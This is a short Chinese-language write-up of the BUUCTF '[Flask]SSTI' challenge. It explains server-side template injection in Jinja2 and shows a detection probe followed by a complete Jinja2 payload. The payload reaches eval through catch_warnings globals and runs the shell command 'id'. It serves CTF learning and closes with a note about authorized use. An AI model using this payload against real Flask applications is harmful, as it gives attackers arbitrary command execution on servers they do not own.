buuctf [Flask]SSTI
时间: 2025-01-02 13:11:21 浏览: 15
### 关于 BUUCTF 中 Flask 框架下 SSTI 漏洞的解决方案
#### 什么是服务器端模板注入 (SSTI)
服务器端模板注入是一种攻击方式,在这种情况下,恶意输入被解释为模板代码的一部分而不是纯数据。当应用程序使用用户提供的数据渲染模板时,如果未正确处理这些数据,则可能导致 SSTI 漏洞。
对于 Flask 应用程序而言,Jinja2 是常用的模板引擎之一。由于 Jinja2 支持丰富的表达式语法,因此一旦发生 SSTI 漏洞,攻击者可以利用此特性执行任意 Python 代码[^1]。
#### 复现 SSTI 漏洞的存在性测试
访问 URL `http://node3.buuoj.cn:29153/?name={{2*2}}` 后返回的结果表明该站点可能存在 SSTI 漏洞。因为正常情况下传入的名字参数应该只显示原始字符串形式而非计算后的结果。这里出现了预期之外的行为——即传递给 name 参数的内容被当作模板语句进行了求值运算,证明了 SSTI 存在的可能性。
#### 利用 SSTI 执行命令
为了进一步验证 SSTI 并尝试获得更高权限的操作,可以通过特定构造的数据结构触发更深层次的对象遍历直至找到可调用的方法如 eval 函数,并借此运行操作系统级别的指令:
```jinja
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
```
上述 Payload 尝试从 catch_warnings 类型对象中提取全局命名空间字典中的 eval 方法,并通过它来读取当前用户的 id 信息作为示例操作[^3]。
需要注意的是实际环境中应当谨慎对待此类实验性质强的技术细节研究活动,确保仅限授权范围内开展学习交流用途。
阅读全文